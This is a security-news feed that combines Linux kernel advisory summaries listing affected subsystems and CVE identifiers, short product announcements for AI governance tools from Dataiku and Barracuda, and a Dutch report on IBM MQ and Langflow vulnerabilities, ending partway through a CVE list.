It was discovered that some Arm processors could complete a broadcast translation lookaside buffer (TLB) invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been revoked, bypassing memory protections or escalating privileges. (CVE-2025-10263) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - InfiniBand drivers; - Network drivers; - TCM subsystem; - exFAT file system; - Network file system (NFS) client; - Network file system (NFS) server daemon; - B.A.T.M.A.N. meshing protocol; - IPv4 networking; - IPv6 networking; - Netfilter; - RDS protocol; (CVE-2026-53186, CVE-2026-53216, CVE-2026-53221, CVE-2026-53354, CVE-2026-53355, CVE-2026-53398, CVE-2026-63800, CVE-2026-63808, CVE-2026-63887, CVE-2026-63888, CVE-2026-63912, CVE-2026-63922, CVE-2026-63924, CVE-2026-63984, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994, CVE-2026-64007, CVE-2026-64091)

Dataiku has announced the launch of Agent Management, a standalone product that finds every AI agent an enterprise is running, regardless of which platform built it, measures the business and technical performance, and flags agents that pose the greatest risk. The launch addresses a disconnect between how fast agents are being created and adopted and organizations’ ability to observe and manage them. Every large company already keeps an account of the software it runs: who … More → The post Dataiku Agent Management reveals unmonitored AI agents appeared first on Help Net Security .

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer (TLB) invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been revoked, bypassing memory protections or escalating privileges. (CVE-2025-10263) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - InfiniBand drivers; - Network drivers; - TCM subsystem; - exFAT file system; - Network file system (NFS) client; - Network file system (NFS) server daemon; - B.A.T.M.A.N. meshing protocol; - IPv4 networking; - IPv6 networking; - Netfilter; - RDS protocol; (CVE-2026-53186, CVE-2026-53216, CVE-2026-53221, CVE-2026-53354, CVE-2026-53355, CVE-2026-53398, CVE-2026-63800, CVE-2026-63808, CVE-2026-63887, CVE-2026-63888, CVE-2026-63912, CVE-2026-63922, CVE-2026-63924, CVE-2026-63984, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994, CVE-2026-64007, CVE-2026-64091)

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer (TLB) invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been revoked, bypassing memory protections or escalating privileges. (CVE-2025-10263) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - InfiniBand drivers; - Network drivers; - TCM subsystem; - B.A.T.M.A.N. meshing protocol; - HSR network protocol; - IPv4 networking; - IPv6 networking; - Netfilter; - RDS protocol; (CVE-2026-53131, CVE-2026-53186, CVE-2026-53216, CVE-2026-53221, CVE-2026-53354, CVE-2026-53355, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63912, CVE-2026-63922, CVE-2026-63924, CVE-2026-63984, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994, CVE-2026-64000, CVE-2026-64007, CVE-2026-64091)

IBM heeft 12 kwetsbaarheden verholpen in IBM MQ, IBM MQ Appliance en Langflow OSS. De kwetsbaarheden kunnen leiden tot het uitvoeren van willekeurige code of commando's. Vier kwetsbaarheden zijn als kritiek aangemerkt en kunnen zonder authenticatie en gebruikersinteractie op afstand worden misbruikt. De kwetsbaarheid met kenmerk CVE-2026-10747 heeft een CVSS-score van 10,0 en betreft een heap-based buffer overflow in IBM MQ. De kwetsbaarheden met kenmerk CVE-2026-79724, CVE-2026-85025 en CVE-2026-81204 hebben een CVSS-score van 9,8 en bevinden zich in Langflow OSS. Een niet-geauthenticeerde kwaadwillende kan deze kwetsbaarheden misbruiken om willekeurige code of OS-commando's uit te voeren. De overige kwetsbaarheden in Langflow hebben een CVSS-score van 8,8 en vereisen geauthenticeerde toegang.

Barracuda Networks has launched Barracuda AI Data Security, the AI security and governance solution purpose-built for resource-constrained organizations and managed service providers (MSPs). The solution enables businesses to accelerate AI adoption by protecting sensitive data, enforcing responsible AI use and demonstrating compliance. Barracuda AI Data Security represents a major milestone in Barracuda’s expanding AI Security portfolio. Built on the BarracudaONE platform, the solution combines AI visibility, data protection, threat defense, and governance into a single … More → The post Barracuda brings AI security and governance within reach of smaller organizations appeared first on Help Net Security .

Maxim Suhanov discovered that the NTFS file system implementation in the Linux kernel did not properly validate file name length in certain situations, leading to an out-of-bounds read. An attacker could use this to construct a malicious NTFS image that, when mounted and operated on, could expose sensitive information (kernel memory). (CVE-2023-45896) It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - ACPI drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - RNBD block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clocksource drivers; - Data acquisition framework and drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - DMA engine subsystem; - Arm Firmware Framework for ARMv8-A(FFA); - EFI core; - GPIO subsystem; - GPU drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Power supply drivers; - RapidIO drivers; - Remote Processor subsystem; - RPMSG subsystem; - SCSI subsystem; - Freescale SoC drivers; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - Framebuffer layer; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - JFS file system; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - UDF file system; - XFS file system; - Audit subsystem; - RAS (Reliability, Availability, Serviceability) subsystem; - Software nodes and device properties; - Memory Management; - KVM subsystem; - Memory management; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Network traffic control; - Bluetooth subsystem; - MAC80211 subsystem; - Netfilter; - IP tunnels definitions; - Tracing infrastructure; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - Kernel module support; - Scheduler infrastructure; - Cryptographic library; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - Networking core; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Phonet protocol; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - FireWire sound drivers; - HD-audio driver; - AudioScience HPI driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - SoC audio core drivers; - STI ASoC drivers; - USB sound devices; (CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116, CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863, CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006, CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179, CVE-2026-64185, CVE-2026-64218, CVE-2026-64219, CVE-2026-64220, CVE-2026-64221, CVE-2026-64587)

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer (TLB) invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been revoked, bypassing memory protections or escalating privileges. (CVE-2025-10263) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - User-space API (UAPI); - Kernel build system; - ARM32 architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - Intel NPU Driver; - ACPI drivers; - Android drivers; - Drivers core; - Compressed RAM block device driver; - Bluetooth drivers; - Character device driver; - Hardware random number generator core; - CPU frequency scaling framework; - Hardware crypto device drivers; - Buffer Sharing and Synchronization framework; - Intel Stratix 10 firmware drivers; - FPGA Framework; - GPIO subsystem; - GPU drivers; - HID subsystem; - CoreSight HW tracing drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device core drivers; - Input Device (Mouse) drivers; - IOMMU subsystem; - IRQ chip drivers; - Multiple devices driver; - Media drivers; - Multifunction device drivers; - Fastrpc Driver; - MMC subsystem; - Ethernet bonding driver; - Network drivers; - Mellanox network drivers; - MediaTek network drivers; - NTB driver; - NVME drivers; - NVMEM (Non Volatile Memory) drivers; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - System reset/shutdown drivers; - Power sequencing drivers; - PTP clock framework; - Voltage and Current Regulator drivers; - RPMSG subsystem; - SLIMbus drivers; - SPI subsystem; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - VME bus staging drivers; - Trusted Execution Environment drivers; - Thunderbolt and USB4 drivers; - TTY drivers; - Cadence USB3 driver; - ULPI bus; - DesignWare USB3 driver; - Faraday FOTG210 USB2 dual-role controller driver; - USB Gadget drivers; - USB Host Controller drivers; - USB ChaosKey driver; - Siemens ID Mouse USB driver; - IOWarrior USB driver; - LD Didactic USB driver; - LEGO USB Tower driver; - Intel USBIO USB I/O expander driver; - USS720 USB parallel port adapter driver; - MediaTek USB3 DRD driver; - USB Serial drivers; - USB Type-C Port Controller Manager driver; - USB Type-C Connector System Software Interface driver; - USB over IP driver; - VFIO drivers; - Framebuffer layer; - Virtio drivers; - BTRFS file system; - EROFS file system; - exFAT file system; - F2FS file system; - File systems infrastructure; - FUSE (File system in Userspace); - GFS2 file system; - HFS file system; - HFS+ file system; - Network file system (NFS) client; - Network file system (NFS) server daemon; - NILFS2 file system; - NTFS3 file system; - OCFS2 file system; - Proc file system; - SMB network file system; - UDF file system; - XFS file system; - Key management; - BPF subsystem; - Memory management; - Software nodes and device properties; - Glob pattern matching library; - Memory Management; - KVM subsystem; - Mellanox drivers; - Restartable sequences system call mechanism; - Socket messages infrastructure; - Network traffic control; - Bluetooth subsystem; - Netfilter; - Networking core; - Network sockets; - TCP network protocol; - io_uring subsystem; - IPC subsystem; - Audit subsystem; - Perf events; - Kernel fork() syscall; - Locking primitives; - Kernel module support; - Scheduler infrastructure; - Signal handling mechanism; - Timer subsystem; - Tracing infrastructure; - Debug objects infrastructure; - 6LoWPAN network protocol; - IEEE 802 network protocols; - 9P file system network protocol; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - Devlink API; - HSR network protocol; - IEEE802154.4 network protocol; - IPv4 networking; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - MAC80211 subsystem; - IEEE 802.15.4 subsystem; - Multipath TCP; - NetLabel subsystem; - Open vSwitch; - Phonet protocol; - Qualcomm IPC Router (QRTR); - RDS protocol; - SCTP protocol; - SMC sockets; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - eXpress Data Path; - AppArmor security module; - Linux Security Modules (LSM) Framework; - Apple Onboard Audio ALSA driver; - ALSA framework; - FireWire sound drivers; - HD-audio driver; - Gravis UltraSound ALSA driver; - C-Media CMI8x38 ALSA driver; - ESS Solo-1 ALSA driver; - ICE1712/ICE1724 (Envy24) ALSA driver; - Yamaha YMFPCI ALSA driver; - Wolfson Microelectronics audio codecs; - SoundWire (SDCA) ASoC drivers; - USB sound devices; - Virtio sound driver; (CVE-2026-52908, CVE-2026-52909, CVE-2026-52910, CVE-2026-52917, CVE-2026-52929, CVE-2026-52930, CVE-2026-52935, CVE-2026-52938, CVE-2026-52939, CVE-2026-52940, CVE-2026-52942, CVE-2026-52947, CVE-2026-52948, CVE-2026-53132, CVE-2026-53133, CVE-2026-53134, CVE-2026-53135, CVE-2026-53136, CVE-2026-53137, CVE-2026-53138, CVE-2026-53139, CVE-2026-53140, CVE-2026-53141, CVE-2026-53142, CVE-2026-53143, CVE-2026-53144, CVE-2026-53145, CVE-2026-53146, CVE-2026-53147, CVE-2026-53148, CVE-2026-53149, CVE-2026-53150, CVE-2026-53152, CVE-2026-53153, CVE-2026-53154, CVE-2026-53155, CVE-2026-53156, CVE-2026-53157, CVE-2026-53158, CVE-2026-53159, CVE-2026-53160, CVE-2026-53161, CVE-2026-53162, CVE-2026-53163, CVE-2026-53164, CVE-2026-53165, CVE-2026-53167, CVE-2026-53168, CVE-2026-53169, CVE-2026-53170, CVE-2026-53171, CVE-2026-53172, CVE-2026-53173, CVE-2026-53177, CVE-2026-53178, CVE-2026-53179, CVE-2026-53180, CVE-2026-53181, CVE-2026-53182, CVE-2026-53183, CVE-2026-53184, CVE-2026-53185, CVE-2026-53187, CVE-2026-53188, CVE-2026-53189, CVE-2026-53190, CVE-2026-53191, CVE-2026-53192, CVE-2026-53193, CVE-2026-53194, CVE-2026-53195, CVE-2026-53196, CVE-2026-53197, CVE-2026-53198, CVE-2026-53199, CVE-2026-53200, CVE-2026-53201, CVE-2026-53202, CVE-2026-53203, CVE-2026-53204, 